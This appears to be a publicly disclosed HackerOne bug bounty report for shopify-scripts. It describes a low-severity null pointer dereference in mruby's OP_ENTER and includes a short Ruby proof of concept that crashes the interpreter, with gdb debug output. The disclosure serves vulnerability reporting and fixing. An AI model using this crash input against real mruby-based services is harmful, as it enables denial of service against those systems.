HexBrain

shopify-scripts · Report #218233

Null pointer dereference in OP_ENTER

Validstatus
lowseverity
$800bounty
3upvotes
15 Apr 2017disclosed

How it was found

PoC

The following demonstrates a crash:

class A
  def foo
  end
end

class B < A
  def foo(*args)
    super(*args, &:b)
  end
end

B.new.foo

Debug info

The null pointer dereference happens in vm.c:1572 in both mruby and mruby-engine:

1570│       if (argc < 0) {
1571│         struct RArray *ary = mrb_ary_ptr(regs[1]);
1572├>        argv = ary->ptr;

(gdb) p ary
$1 = (struct RArray *) 0x0

Test platform

  • Linux Mint 17.3 (Cinnamon 64-bit), built with gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3

mruby SHA: a14a930c800aa50a191922580d53a2ce09287912 mruby-engine SHA: 09be20e67888b20bebf9b0588bc3cbec7f55325f

Thank you, Dinko Galetic Denis Kasak

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original